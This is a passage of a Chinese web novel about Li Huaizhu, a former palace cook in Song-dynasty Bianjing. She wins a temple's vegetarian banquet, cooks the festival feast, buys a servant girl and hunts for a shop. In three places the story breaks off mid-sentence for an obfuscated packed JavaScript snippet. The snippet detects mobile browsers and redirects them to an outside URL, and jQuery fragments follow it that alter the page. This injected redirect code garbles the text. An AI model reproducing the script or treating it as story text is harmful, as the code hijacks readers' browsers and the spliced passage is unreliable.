为了这事，寺中已去京中素有声名的酒楼相看，欲寻外援承办斋席，于是，小沙弥来订青团百只，用以待客。 李怀珠听小沙弥娓娓道来，心思活络开——大相国寺乃东京首刹，浴佛节更是盛事，若能承办其部分斋宴，不仅是笔生意，更是扬个小名的机会，其中名望人情，远比银钱更重要。 就跟送上门的活广告似的，浴佛节这么大的流量，不蹭白不蹭，于是便问了浴佛节素宴的规格要求。 六菜一汤两甜点，要能体现待客之诚，不堕朝廷官员与夫人们的颜面。 “小师父，你可知寺里去请了哪几家酒楼？” “酒楼……”小沙弥挠光溜溜的脑袋，“听说潘楼、樊楼和岳风楼都去了，方丈与监寺师父们，过几日便要一同品评，择其优者。” 三大酒楼皆是汴京翘楚，竞争可谓激烈。 “小师父，”李怀珠莞尔，“承蒙贵寺看得起碧玉团。这素宴比试，不知我能否也凑个热闹，试上一试？” 小沙弥眼睛一亮，他极喜欢李怀珠做的青团，觉得比街市卖的果子都清雅适口，当即拍手：“好呀！女施主手艺这般好，我这就回去禀明师父！” 小沙弥对这事很是上心，不过半日就回报——方丈与监寺都应允了。 李怀珠瞧着小沙弥，就像看着一个移动的五星好评，她喜欢小孩儿圆圆红红的脸蛋，特意包了几个新式枣泥青团，让他带着边走边吃。 小沙弥又蹦跳着走了。 制单子这事需要灵感，和做企划案一样，什么都得照顾到。 她知这素宴比的远不止是手艺，寺庙不比打火店热闹，更非宫中奢靡之地，讲究的是清净朴素。盛具器皿，银器是绝不可用的，过于华美的彩瓷也显突兀，顶天了就是些木质食盒、粗陶砂锅、素瓷碗。做出来的菜式，样子就得往这上靠，既要体现诚意，又不能失了佛门庄重，万一弄个浓油赤酱或造型奇巧的，那就是不搭对，混不吝，成了四不像。 而且，这等场合，菜做得再好，若说不出个所以然，没有个好立意，也难打动那些精通佛理的方丈监寺。 说到底，一半靠实力，一半靠口才，双管齐下才有胜算。 想清了，李怀珠出门找灵感。 正当晌午，街边食肆人都不多——这倒正常，大宋多是两餐制，除了些赶路的、做苦力的，很少有人正经吃晌午饭。 她进了家干净小店，点了一碟清炒豆苗，一碟香煎豆干，一碗笋蕨馄饨。 菜色寻常，无非就是市井间最常见的几样东西。 豆苗火候过了，软塌塌失了魂儿，豆干倒是煎得很透，焦香里还嚼得出豆子本来的滋味。 慢慢吃着，恰好瞧见对面一个小贩。 那摊主刚卖完热豆浆，正忙着收拾，又掀开另一边的纱布，露出雪白细嫩的豆腐，准备开始下午的买卖。旁边还摆着成摞的酱色豆干，细绳上晾着豆皮，角落木桶里还有大豆腐渣，并几排新生的豆苗。 福至心灵只是一刹那，李怀珠思忖道—— 豆，真是个妙物。 * 三日后，大相国寺专门辟出一处偏屋试菜。 李怀珠提着食盒早早到来，院落里已是一片忙碌。 另外三家酒楼来的皆是经验丰富的大师傅，带着帮厨和随从，里里外外十几个食盒，阵势十足，见李怀珠一个年轻女子，布衣荆钗，却清丽神气，皆露出几分好奇。 ——不知这是哪家的厨娘替大师傅跑腿？ 不多时，方丈与监寺缓步而来，皆是神色平和，宝相庄严。 见到李怀珠，方丈含笑颔首，面色肃杀的监寺亦随之行礼，态度并无区别。 众人入内，各自将菜肴摆出。 霎时间，简素的案面异彩纷呈。 樊楼师父的盛具或是精瓷，或是琉璃盏，菜品更是琳琅满目，以素仿荤的“素鹅”、“素火腿”，雕琢成莲花、宝相状的象形菜，色彩绚丽，摆盘繁复，看得出是下了大工夫，要将这素宴做得富丽堂皇。 方丈与监寺入内，一一观瞧、品尝，面上笑意慈悲，眼神中却未见多少惊喜，尤其看到那酷似荤腥的菜色时，监寺眉头蹙了一下。 轮到李怀珠，食盒层层打开，露出里面的碗碟。 并无炫目的技艺、华美的器皿，唯有几道菜蔬静静陈着，色泽清雅，宛若一幅淡墨写意的山水画卷。 她先奉上“山家三脆”——嫩笋、小菇、青豆苗，碧白相映，脆嫩交织，宛若山间清风。 监寺尝了一口，微微点头。 接着是春卷。 宋时春卷多用薄面皮包裹春季时蔬，或蒸或炸，取其迎春之意。而李怀珠做的这道，却是用新鲜紫苏叶替代面皮，卷着渍过的藕片、胡瓜，间以豆腐皮，紫、白、碧、黄，错落有致，宛如“簇饤”拼盘，佐以姜醋汁，酸甜开胃，风味别致。 方丈观其色，眼中露出欣赏之色。 汤羹选了雪霞羹，热菜还有煨香干，豆干厚切，与白崧、芸豆高汤慢煨，口感韧而醇厚。冬菇炖春笋，汤头有淡淡甜味。改良过的罗汉菜似焕然一新，十种时令鲜蔬分层码放，与从前的大锅菜相去甚远，仿佛众生和合，颇具禅意。 但要数最合大家心意的，还要数荷塘小炒。 大宋虽然饮食业发展颇为全面，但炒菜还属新兴技艺，只有少数大酒楼才有尝试，李怀珠的荷塘小炒用了鲜藕、菱角、荸荠、芦笋急火快炒，保持了食材的脆嫩清甜。 这般清爽利落的炒菜出现在素斋中，连见多识广的监寺都微微动容。 最后，主食“金屑饼”上桌，外表其貌不扬， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888284|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让几位大师傅暗自交换了眼色。 监寺尝了一口，外皮微酥，内里软糯，带着独特的豆香和野菜的清新，口感颇为特别，绝非寻常面饼可比。 “李娘子，此饼用料似乎非同一般，不知是何物制成？”监寺难得主动开口。 见甲方满意，心下亦是一喜，不枉她为了这饼试了多次。 李怀珠福身敛首：“回监寺大师，此饼主料，乃是滤取豆浆后所余的豆渣。” “豆渣？”监寺微讶。 是啊，新鲜豆渣挤干水分，与少量面粉、切碎的雪里蕻和野菜、细盐混合，团成小饼，鏊子上慢火烙至两面金黄的——豆渣饼。 “施主巧思，化腐朽为神奇……”一旁静观的方丈也拈起一块，“只是，不知施主为何会想到以此物入馔？” 李怀珠一笑，觉得自己跟读研时答辩一样，只不过评委从教授换成高僧，课题从设计变成理论。 “大师谬赞。小女子只是觉得，豆之一物，从豆苗可为蔬，到豆浆可作饮，凝之成豆腐，压之成豆干，晾之成豆皮……其用至广。若独独将这豆渣弃之不用，未免可惜。万物有灵，既生于天地，当各得其所。” 监寺闻言，才想到这几道菜中囊括小娘子所言数种做法，竟是有始有终，叹道：“原来如此——惜物爱物，确是美德！” 方丈循循引导：“施主此言，颇含禅理。依你看来，这豆之一物，可还有何深意？” 见方丈态度鼓励，心知到了关键时刻，成与不成，就看着一锤子买卖了。 李怀珠温言笑道，“小女子拙见，豆质朴素，却能容纳百味，颇有‘无我’、‘包容’之意；而其从萌芽到尽用，生生不息，岂不也暗合‘众生平等’、‘物尽其用’的佛法真谛？一豆虽小，或可见天地心。” 她这番话，将寻常食材的利用，自然而然拔高到了佛法哲理的层面，却又紧扣眼前实物，毫不空泛。 屋内静了片刻。 方丈与监寺相视一眼，皆看到对方眼中的了然与欣赏。 “善哉！”方丈抚掌轻叹，笑容绽开，“施主能有此心，见解非凡，倒让老衲想起一人……莫非……” 他没问下去，但李怀珠已然明白，大概是听闻过她被黜落之事。 李怀珠既不承认也不否认，只是笑道，“大师慧眼。” “阿弥陀佛。”方丈不再多言，与监寺交换了个眼神。 监寺随即宣布：“李娘子慧心巧思，深合我佛门本意。此次浴佛节素宴，便有劳娘子了。” “小女定当尽力。” 尘埃落定。 那三位大师傅收拾家伙离去，走到院外，议论间，也拼凑出了李怀珠的来历。 有人咂舌：“宫里出来的就是不一般，这口条，豆腐渣都能说出花来！” 另一人接话：“可不是么。前有泰安伯爷给她扬名，如今连大相国寺都请她。小娘子手艺灵、脑子更灵，将来怕是了不得啊！” 末了，不知谁嘀咕了一句：“幸好……瞧着还没自立门户的本钱。不然，就凭她这本事，咱汴京怕是要变天了……” 几人回想方才情景，竟都默默点头，深以为然。 屋内，尚不知自己被寄予“厚望”亦或视为“威胁”的李怀珠，与僧人敲定细节，踏出殿门。 春日暖阳拂面，深深吸口气，只觉浑身舒畅。 ——搞定。现场答辩，高分通过！ 9. 第 9 章 这日午后，谢慈正于大相国寺的偏殿藏经阁内静心抄录经卷。 因前些时日殿内雨水渗漏，部分经书受损，泰安伯与相国寺方丈交好，知他写得一手好字，便荐了他来帮忙誊抄。 谢慈自幼受母亲影响，对佛法颇为敬重。 正蘸墨间，忽闻窗外传来一阵笑语。 抬眸望去，只见几个僧人领着位素衣女子正往后院菜园走去。 那女子身姿轻盈，侧颜明净，正是那夜在伯府海棠树下有过一面之缘的。 谢慈执笔微微一顿，看她在菜畦间俯身采摘，想起那日金明池畔，她特意在他酒盏中添的那撮干桂，清冽梅酒因那一点桂花，便多了几分江南的温软气息，不禁想起刘禹锡的诗句‘莫羡三春桃与李，桂花成实向秋荣’。 桂，其姿清雅，其香悠远……词词句句，倒不知在写花还是写人。 一滴墨点从笔尖滴落，落在宣纸上，化作氤氲痕迹。 谢慈恍惚回神，暗叹佛门圣地，再静心落笔。 还不知被人比作花中第一流的李怀珠开始了寺庙、摊档两头忙的日子。 寺里为筹备浴佛节斋宴，特意拨了一处宽敞净厨并数名火工僧人给她调遣。 李怀珠也不客气，将需提前准备的菜蔬、豆制品分门别类，又把洗切、泡发、熬高汤的活儿一一分派下去，在寺里提供的器皿中，挑选了一批素青瓷、粗陶砂锅和梨木筷托。 原本说好斋宴规模约三十人，谁知过了几日，监寺师父寻来，说是人数恐要添至上百。 细问才知，原是方丈与几位前来商议浴佛节事宜的官员闲谈时，提起了她那道“荷塘小炒”，赞其清爽脆嫩，别有风味，这话传开，竟引得不少官员家眷心生好奇，纷纷表示要亲来尝鲜。 听闻此缘由，李怀珠唯有暗暗汗颜。 这下，寺里更是忙碌，连日的素菜备料，面对堆积如山的菜蔬豆品，嘴里当真是要淡出鸟来了。 李怀珠是个肉食爱好者，这般连续多日不见荤腥，只觉浑身不得劲。 这天忙完，直接提了半只老母鸡回家。 要说家禽，从古到今都让人吃得津津有味。 数前世，广式白切鸡，肉质清爽滑嫩，北方烧鸡，尝来油亮咸香，软烂酥骨，古文中，袁大才子《随园食单》里记着“鸡松”，将鸡肉斩得极细，炒成蓬松肉绒，下粥最妙。王世襄的“熘鸡脯”，鸡脯肉和以蛋清，温油滑出，汪老亲尝赞其“嫩极了”。 不过今日这只鸡，皮色黄亮，脚上有鳞，是正经土鸡，倒是宜炖汤。 鸡是托摊主处理好的，炖这样的鸡，无须繁复的手法。冷水下锅，只放两片姜，几粒粗盐，余者皆免。武火催开，文火慢煨，待鸡骨里的髓油化在汤里，汤色如淡茶，黄澄澄的油封住汤面。 鸡肉已炖得酥烂，蘸点葱末油酱，就着一碗新淘的粳米饭，米香汤鲜。 饭吃完了，锅底还剩下些汤肉，留着，明早用来煮一碗阳春面，两滴香醋，又是一餐好茶饭。 好容易熬到浴佛节前一日，方丈特意遣人来说，此次素宴还要请她一同入席。 到底是正式场合，李怀珠给自己做了身新衣裳。 对镜自照，镜中人玉面朱唇，眉眼灵动，虽无浓妆华饰，却自有一股青春姣好的清丽韵致。到底是原主生得是好，十八九岁的年纪，无需脂粉，眉眼自有山水。 浴佛节这日，大相国寺钟磬长鸣，香客如云。 此节源于佛诞，每逢四月八，汴京大小伽蓝皆行浴佛之仪，尤以大相国寺为最。 殿堂前置一青铜浴佛盆，盆中盛满香汤，以旃檀、紫檀、郁金、龙脑等诸妙香物和清水而成。 方丈主持仪式，以香汤灌浴太子像，众僧诵经，信众依次上前，以勺舀汤，浴佛祈福。 仪式毕，方丈慈和道：“此香汤浴佛，亦能净心。诸位施主可各饮一盏，沾溉佛恩，祈佑安康。” 便有僧人持壶，为席间宾客逐一斟上浴佛香汤。 这饮浴佛汤，意在“分福”。 香汤浴过佛像，有佛法福泽之意，饮下这汤，也含了祛病消灾、身体康健之愿，倒是很有趣味儿。 李怀珠双手捧起素白茶盏，见汤色清澈，异香清冽，依礼浅饮一口。 香气不似寻常花香甜腻，入口微有草木清苦，回味却甘，仿佛能涤荡胸中尘虑。 饮罢，她随众人一同向方丈致谢。 方丈含笑颔首，宣诵贺词：“愿此浴佛功德水，涤尽众生烦恼尘。同沾法喜，共沐慈恩，福慧双增，身心安乐！” 众人皆合掌应和：“阿弥陀佛，谢大师吉言。” 饮毕浴佛水，李怀珠便到了寺中厨下，与几位火工僧人一同最后清点食材。 碧玉团是早预备下的，只等吉时将近，再上笼略蒸，使之回软。 荷塘小炒是现炒的菜，讲究火候，鲜藕、菱角、荸荠、芦笋都已切配停当。 小沙弥圆觉跑来监工，小脸红扑扑的。 李怀珠瞧见，笑着招手让他进来，从食盒里取出几块新做的豌豆黄递给他。 茶点两例，豌豆黄与碧玉园刚好一黄一绿，搭配起来应景又好看，滋味各异，这豌豆黄用新下的豌豆去皮磨细，加了少许糖桂花，蒸得凉透了，切成小方块，黄澄澄，颤巍巍，入口即化。 圆觉接过咬了一口，惊叹，“又是新样子？娘子好手艺，比铺子里卖的还好吃！” 李怀珠问：“铺子里的很贵么？” 圆觉使劲点头：“贵啊！芳蕊斋这样一盒糕要两三百文，还时常买不着！” 芳蕊斋是汴京最有名的糕点铺子，她自然听过，用料精良，造型精巧，老板娘更兼深谙“饥饿营销”之道，引得达官贵人趋之若鹜，利润自然可观，若真能做起来，倒比摆摊风吹日晒要轻省许多。 李怀珠心里还打着小九九，前面梵音阵阵，浴佛的仪式想必已开始了。 这边厨下也紧锣密鼓，菜品一道道由知客僧引着，往斋堂备送。 忙过这一阵，监寺师父过来，道：“李娘子，前面方丈请娘子入席稍坐。” 李怀珠解下攀膊，跟着同去。 斋堂布置得素净，果是一人一席的小案，她被引到斜后方一处位置，抬眼望去，内男女皆有，多是官员携着家眷，珠环翠绕，桃红柳绿。 上首，泰安伯爷正与方丈谈笑风生，想必是来“尝鲜”的。 李怀珠无意掉马，趁着众人寒暄，悄悄溜出轩厅，踱至廊下暂避清静。 她正走着，忽见脚边落着一方素绢帕子，一角用墨线绣着几竿疏竹，清雅不俗。 犹豫是否要拾起，却见一道修长的身影已停在眼前。 抬头看，竟是那日金明池边的好心举子。 他今日仍是一身青襕衫，人如净玉修竹，在这喧闹场合里，别有一番清寂气质。 她是个记性好，知恩感报的，自然还记得谢慈那日帮她拨了个千金的事情。 李怀珠弯腰拾起帕子，唇角微弯，“不若，我也将帕子寻根枝子挂上？” 惯常清冷的眼睛似乎有笑意划过，谢慈自然也认出她来，道：“不必。多谢娘子。”他接过，谢的自然是帕子。 李怀珠也道：“多谢郎君。”她谢的，却是那日他在伯爷面前，为她圆场。 两人心照不宣，各自微微一笑。 这时，忽听另一边有人唤她：“李娘子？” 李怀珠回头，见祁檀一身褐红常服，正站在不远处廊下，显然是随家中长辈来的。 谢慈见状，嗓音清淡：“娘子既有友人相寻，某先行一步。” 李怀珠还礼，“郎君自便。” 祁檀这才踱步上前，“方才那位，瞧着像是今科颇有名声的江南举子谢慈。李娘子相识？” 原来他叫谢慈，这么温柔和煦的名字，却偏长了一张冷寂面庞。 “算不上相识，不过是前些日子有过一面之缘。”李怀珠无意多谈此事，转而问道：“祁大人今日也是来参加浴佛节斋宴的？” “陪家母前来。”祁檀点头，又笑着，似乎有几分揶揄，“说起来，你可知你离宫之后，尚食局那边，最近可是热闹得很。” “哦？”李怀珠挑眉，嗅到了八卦的气息，“愿闻其详。” 祁檀将事情娓娓道来。 原来，那日蓁美人黜落李怀珠后，空出的典膳之位便在蓁美人“举荐”下，由一名新入宫的小宫人顶了上去。谁知这新典膳在清明宴上错误百出，不仅排错膳食位次，竟还在菜品中，误用了会让陛下起疹的虾籽，险些酿成大祸。 皇后娘娘凤颜大怒，清明宴后便下令严查，要将人发落去掖庭。蓁美人闻讯急忙赶去求情，这一求之下，才知，原来那人竟是蓁美人的亲妹妹，走了姐姐的门路，才得以入宫，本想借着宫廷宴席露个脸，结果却落得这个结果。 陛下知晓原委后，甚为不悦，蓁美人禁足半年，其妹逐出宫门，永不录用，连带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888285|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚食局几位掌事女官，都因失察之过挨了训斥，罚了俸禄。 听祁檀说完宫中近况，李怀珠眉眼微挑，一时不知该作何表情。 她离宫是祸，但若她仍在那个位置上，也难保不被牵连，一旦出事，首当其冲的还是她这小透明。 如今她人在宫外，逍遥自在…… 福祸相依，原来真有道理！ 祁檀正欲再言，小沙弥圆觉气喘吁吁跑来。 “娘子，施主，斋宴即将开始，请二位快些入席罢！” 李怀珠与祁檀对视一眼，像一对在茶水间开小差聊八卦的同事一般，俱都敛了神色。 斋宴席面布置简朴，一人一席小案，菜品依序而列。 从冷盘汤羹，到热菜小炒，最后是甜品碧玉团与豌豆黄，碧玉团温润，豌豆黄澄澈，一青一黄，摆在素白瓷碟里，煞是好看。 李怀珠坐在自己的席位上，能听到周遭小小的惊艳声。 “这藕片怎地如此爽脆？” “瞧那豆腐，竟有这般做法？” “这碧玉团子，模样真可人疼。” “……” 待到菜品入口，更见众人微微颔首，面露赞赏之色。 饭毕，众人依礼起身，随方丈进行简单的祈福仪式，仪式过后，气氛松快许多。 果然，泰安伯爷笑呵呵凑到方丈身边，大赞起来：“方丈大师，今日这斋宴，着实令人耳目一新！荷塘小炒脆嫩爽口，有春日鲜蔬灵秀之气！” 将作监王载道也道，“伯爷所言极是，下官也觉得此宴甚好。不尚虚华，而重本味，最后的豌豆黄，细腻清润，甜而不腻，实乃点睛之笔。” 看来那点题的豆渣饼，是曲高和寡了。 方丈捻须微笑，“二位大人过誉了。斋宴能合口味，亦是缘法。” 泰安伯兴致勃勃，挖坑，“却不知今日操办这席面的是哪位高厨？老夫定要当面瞧瞧，这等手艺，埋没在寺中厨下岂不可惜？” 王大人也露出好奇之色。 李怀珠正欲悄悄退回厨下，方丈含笑唤道：“李施主，请留步。” 李怀珠心知躲不过，只得整了整衣衫，上前盈盈一礼：“民女李氏，见过伯爷，见过王大人。” 泰安伯爷盯着她瞧了又瞧，忽而大笑：“果然是你！哈哈哈，老夫就说嘛，这东京城里，能有这般巧思与手艺的小娘子，除了你还有谁！” 他转头道：“王大人，你有所不知，这位李娘子，便是前些时日做出‘四喜丸子’那位！老夫还写了篇《食趣小记》，你可还有印象？” 那位王大人这才恍然，重新打量李怀珠：“原来那篇文章里写的厨艺精湛，言辞机敏的女官，便是这位！今日这素宴更是令人刮目相看，娘子真乃妙人！” 李怀珠这才知道，伯爷竟还写了文章传阅，忙谦道：“伯爷厚爱，大人过奖了。不过是些粗浅手艺，能入诸位贵人之口，已是荣幸。” 泰安伯爷心情极好，摆摆手：“欸，老夫且问你，如今你既已出宫，又不入府，日后有何打算？” 李怀珠坦然道：“回伯爷，民女确有此意。正打算积攒些本钱，开间铺子，卖些糕饼饮馔，也好安身立命。” “开店？开店是好事啊！”泰安伯闻言，抚须大笑，“自立门户才是正理！以你的手艺，定能宾客盈门！届时开业，定要告知老夫去捧场！” 李怀珠笑道：“铺面尚在寻觅中，不过伯爷放心，待小店筹备妥当，无论届时卖什么，开张第一份，定当亲自送至伯爷府上，请您尝鲜品鉴。” “好，一言为定！”泰安伯愈发开怀。 “善哉。”方丈一旁含笑，“李施主心有玲珑，手有巧技，将来必有善果。” 斋宴圆满，宾客渐散。 李怀珠正于厨下与僧人一同收拾，监寺师父捧着一方深蓝布包走来。 “李娘子今日辛劳。此乃寺中一点心意，酬谢娘子此番鼎力相助，亦是对娘子惜物慧心的一点支持。” 李怀珠双手接过，打开布包，里面竟是五锭官铸雪花银，并一串品相极佳的老料檀木佛珠。 此物太过贵重，李怀珠忙要推辞。 监寺抬手止住她的话：“银钱是娘子应得之资，望助你早日觅得良铺，安身立业。这串佛珠，曾随前任方丈诵经多年，可静心宁神。娘子身处市井，愿此物能护你持守本心，不为浮华所扰。” 李怀珠深深一福：“拜谢大师厚赠，定当谨记教诲。” 10. 第 10 章 一场春雨淅淅沥沥下了整夜。 李怀珠拥着薄被，听着雨声，忙活好几日的大事终于落定，浑身松快，竟是一夜无梦，睡得香甜。 醒来时雨已停了，窗纸微湿，漫进一室柔亮。 李怀珠伸了个懒腰，只觉得腹中空空，馋虫搅动，想吃点祛祛湿气的饭食。 东门菜市地面还是湿漉的，摊贩们却早已支开棚伞。 雨声淅沥下，她相中了一只肥嫩麻鸭，又拣了几颗茱萸、一块老姜，几瓣新蒜，顺便称了二两豆豉，割了一刀五花肉，提溜着回了小院。 今儿这顿饭，她打算做一道油酱鸭。 回了店宅务，鸭子洗净斩块，用酒、姜片略腌片刻。铁镬烧热，下脂油，放入鸭块煸炒至皮色金黄，鸭油溢出。另取一砂锅，将炒好的鸭块转入，烹入黄酒，加豉酱、饴糖、茱萸、蒜瓣，再添适量汤水，旺火烧滚后转文火慢煨。 趁着煨鸭的功夫，把五花肉切作薄片，用豉酱和蒜末一同爆熟，盛在粗陶碗里，油润香浓。又清炒了一盘脆生生的菘菜心。 酱香渐浓，待汤汁收得稠厚，撒入一把切碎的胡荽，便可起锅。 她给自己盛了一碗，鸭块酱赤油亮，佐着豉椒肉臊和清炒菘菜，吃得鼻尖微微冒汗，通体舒泰。 正惬意，西厢那对姐弟也出来了，像是要出门。 金蝶小娘子今日换了身杏子红的绫裙，依旧扬着下巴，瞥见李怀珠院中饭食，嘴角微撇，似有不屑。 那小郎君倒是抽了抽鼻子，多看了酱鸭两眼。 金蝶少女扯了弟弟一下，“瞧什么，不过是些粗鄙吃食。前儿个父亲升迁宴，咱们在孙家打火店尝的那道‘四喜丸子’，那才叫好味！” 语气散漫，却难掩炫耀，仿佛吃过那四喜丸子，身份便不同了些。 李怀珠正舀起一勺汤，吹着热气，闻言动作一顿，哭笑不得。 谁能想到，那被贵女引以为傲的珍馐，正出自她这个被其视为“粗鄙”的邻舍之手？ 吃饱喝足，李怀珠揣上钱袋，出门去寻铺面，丝毫没有因这事有半点不悦。 东京城大，赁屋售宅的牙人也不少，可连着看了几处，都不是那么回事。 有的地段是好，朱雀门边，人来人往，可金贵得吓人，有的倒是便宜，却缩在背街小巷里，鬼影子都没一个，开食铺怕是连炊烟都飘不到人跟前。 还有一处，院子宽敞，前厅敞亮，李怀珠颇为蛮夷，屋主却是个老学究，一听她要开馆子便想把人往外赶。 “庖厨之事，烟火熏燎，恐污了我这清静地，不租，不租！” 本钱有限，好铺难寻，安身立命第一步，没那么简单。 正站在街角踌躇，盘算着是不是再去南城碰碰运气，忽听得一阵哭腔从旁边巷口传来。 “……你就是没心肝！爹娘在地下，连柱香都受不到你的！” “阿弥陀佛，小僧已是方外之人，六根清净，那些都是虚妄了。” 李怀珠循声望去，只见巷子深处，一个小娘子正扯着个小僧人的衣袖。 灰衣灰袍，脑瓜锃亮，不是圆觉是谁？ 圆觉一张圆脸涨得通红，想挣脱又不敢太用力，只不住念佛号。 那小娘子约莫十四五岁，身形瘦小，面有菜色，死死瞪着阿弟。 “虚妄？你倒会说！若不是那年家里遭了灾，爹娘怎么会……我们怎么会被卖出来！你倒好，躲到庙里图清静，连清明都不过来看看他们！”小娘子越说越气，眼泪打转，“我昨儿偷跑出来，去乱葬岗上磕了头，回去就被娘子好一顿打骂，今日连饭都不给吃……你、你却在这里说什么六根清净！” 圆觉闻言，脸上显出愧色，“阿姐……我、我也有我的难处……” “你的难处？你的难处就是怕被你师父责骂！”小娘子气得跺脚。 就在这时，一个尖锐女声响了起来：“好你个死丫头！活儿不干，又跑出来跟这秃驴拉扯扯扯！我看你是皮又痒了！” 李怀珠转头，只见一个体态丰腴的妇人带着个健仆走了过来，正是芳蕊斋的老板娘，人称“辣手西施”的吴娘子。 小婢女一见她，立刻松开了圆觉的袖子，瑟缩退到墙边。 圆觉忙上前一步，合十道：“吴施主，贫僧阿姐并非有意怠工，实在是思念亡亲，情有可原……” “情有可原？”吴娘子柳眉倒竖，“我们芳蕊斋是开铺子做生意的，不是开善堂的！她昨天溜出去半天，今天的衣裳还没洗完，灶房也一团糟！这损失谁赔？你这小秃驴赔得起吗？” 说着，竟扬起手，作势要打那小婢女。 圆觉抬手去挡，吴娘子身后的健仆见状，一把推开圆觉。 “小秃驴，滚开！我们娘子管教自家奴婢，轮得到你插手？” 圆觉被推得一个趔趄，险些摔倒。 李怀珠挡在了那小婢女身前，对吴娘子福了一礼，姿态却是不卑不亢：“这位娘子，有话好说，何必动手？” 吴娘子上下打量李怀珠，见她衣着朴素，但气度从容，不似寻常民女，“你是何人，我管教自家婢子，与你何干？” “路见不平罢了。”李怀珠微微一笑，“小娘子年幼，纵有不是，娘子教导便是，当街打骂，未免有失体面。况且，这位小师父乃大相国寺僧人，娘子纵不顾及佛门颜面，也该想想，若是惊扰了过往官人，怕是不美。” 吴娘子闻言，脸色变了几变。 她能在汴京把生意做得风生水起，自然不是蠢人，大相国寺香火鼎盛，与官宦人家往来密切，她确实不愿轻易得罪，再看李怀珠，虽衣着寻常，但谈吐不俗，摸不清底细。 她冷哼一声：“这死丫头笨手笨脚，屡教不改，留在铺子里也是白费米饭！我今日定要发卖了她！” 小婢女闻言，脸色惨白，圆觉急得直念佛。 李怀珠心中一动，面上却不露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888286|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声色，只淡淡道：“哦？娘子既要发卖，不知作价几何？若是价钱合适，我倒想买个手脚麻利的回去帮佣。” 吴娘子眼珠一转，重新打量李怀珠，心道原来是想买婢子的，口气立刻活络起来：“这丫头虽笨些，年纪却轻，身板也结实。买来时花了十贯钱，养了这一年多，吃喝穿戴哪样不要钱？看你诚心要，连身契一并给你，算你二十贯钱！” 圆觉在一旁听得倒吸凉气。 二十贯钱，足够寻常三口之家数月嚼用了。 李怀珠却笑了笑，摇头道：“娘子说笑了。这小娘子面黄肌瘦，可见平日吃用寻常。方才娘子也说她笨拙怠工，想必值不了许多。我最多出十二贯钱。” “十二贯？”吴娘子道，“你这娘子好不会还价！十二贯钱，我连本都收不回！至少十八贯！” “十三贯。”李怀珠不急不缓。 “十七贯！不能再少了！” “十五贯。娘子若觉得不值，我便去别处看看。”李怀珠作势欲走。 “哎，等等！”吴娘子连忙叫住她，“看娘子也是个爽快人。十五就十五，当交个朋友了！” 李怀珠停下脚步，她知道这价格在汴京买一个婢女，算是公道了。 “好，就依娘子，十五贯。只是需立下红契，钱契两清。” 宋时买卖人口，需经官牙立契，名为“红契”，方算合法。 吴娘子见生意谈成，眉开眼笑：“这个自然！前面就有官牙，我们这便去立契！” 当下，一行人便到附近的官牙处，请牙人作保，写了红契。 李怀珠点清钱款，吴娘子验过无误，将一张旧身契递给李怀珠，带着健仆扬长而去。 圆觉看着姐姐有了着落，挠了挠光溜溜的脑袋，脸上又是欢喜又是不好意思，“多谢女施主！我阿姐……她力气大，能干活，就是有时候脾气急了点，您多担待！” 他说完，偷偷瞄了团娘一眼，小声道：“阿姐，你……你好好跟着娘子，我得了空就来看你。” 团娘这会儿也不哭了，“知道啦！你回去好生念经，别总贪玩被师父说！” 说完，她转向李怀珠。 李怀珠扶住又要行礼的团娘，拿起红契，笑道：“以后你就是我的人了，活儿可能不轻省，但肯定管饱，说不定还能把你养得胖乎乎的。” 后来管了顿饭才知，团娘果然能吃，且吃得虔诚，更不吝惜夸奖，从“娘子这粥熬得忒稠香”到“这肉馍，神仙闻了也得下凡”，夸得李怀珠时常飘飘然。 吃饱了的团娘，力气像用不完。 浆洗衣衫，小院内外洒扫，连店宅务那处公用的庖厨，都被她捯饬得锅明灶亮，待到做青团时，捣艾草汁子，滤汁，炒豆沙馅，磨糯米粉，许多从前需李怀珠亲力亲为的辛苦事，如今竟都变得轻省起来。 和勤快人待着，自己也会变勤快，和团娘相处几日，李怀珠觉得自己有了折腾的动力。 11. 第 11 章 阳光日渐绵长，新叶成浓荫，万物悄然转换时节中，心仪的铺子来得意外。 那日，一位常来买早食的熟客，边等着荷叶馍边与李怀珠闲话，说起东榆林巷有户人家，原本谈好了租户，临到签契时却反悔了，闹得不太愉快。 “听说那铺子原是主人家祖上发家的地方，是个做瓷器的前店后坊，院里还留着个旧窑。新租户嫌那窑又大又占地方，想拆了，主人家死活不肯，这才黄了。”客人啧啧两声，“要我说，那窑确实碍事，不拆怎么好用那院子？” 说者无心，听者有意，送走了客人，李怀珠收拾完摊子，便唤来团娘。 “走，随我去看个铺面。” 